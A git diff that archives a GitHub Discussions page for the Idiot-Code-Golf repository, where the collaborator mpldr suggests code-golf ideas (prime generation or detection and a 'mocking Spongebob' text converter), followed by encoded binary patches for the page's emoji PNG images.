+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #5  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Place your Ideas here + + #5 +

    +
    +
    + + mpldr + + + started this conversation in + Ideas +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Place your Ideas here + + #5 +
    +
    +
    + + +
    + on Apr 15, 2021 + · + 2 comments +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    Ideas can be added here and then discussed

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 2 comments +
    + +
    + + +
    + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + + Author + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Prime numbers! Generation and/or detection.

    +
    + +
    + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + + Author + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    A "mocking Spongebob text generator"

    +

    Basically, something that turns normal text into "nOrMAL TEXt" (reference)

    +
    + +
    + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Ideas + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 1 participant +
    +
    + + @mpldr +
    +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + Edit pinned discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + +
      +
      +

      + +

      + + + + + +
      + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • +
    • +
      + + + + Unpin discussion + + + +
      + +

      Unpin discussion

      +
      +
      +
      +

      Are you sure you want to unpin this discussion?

      +

      The discussion itself won't be deleted, it just won't be shown prominently above the + list of discussions.

      +
      +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 literal 0 HcmV?d00001 diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f4a1.png b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f4a1.png new file mode 100644 index 0000000000000000000000000000000000000000..b0506fc7c91dda96fe6406e46d73eb9f5a3b91dc GIT binary patch literal 3095 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 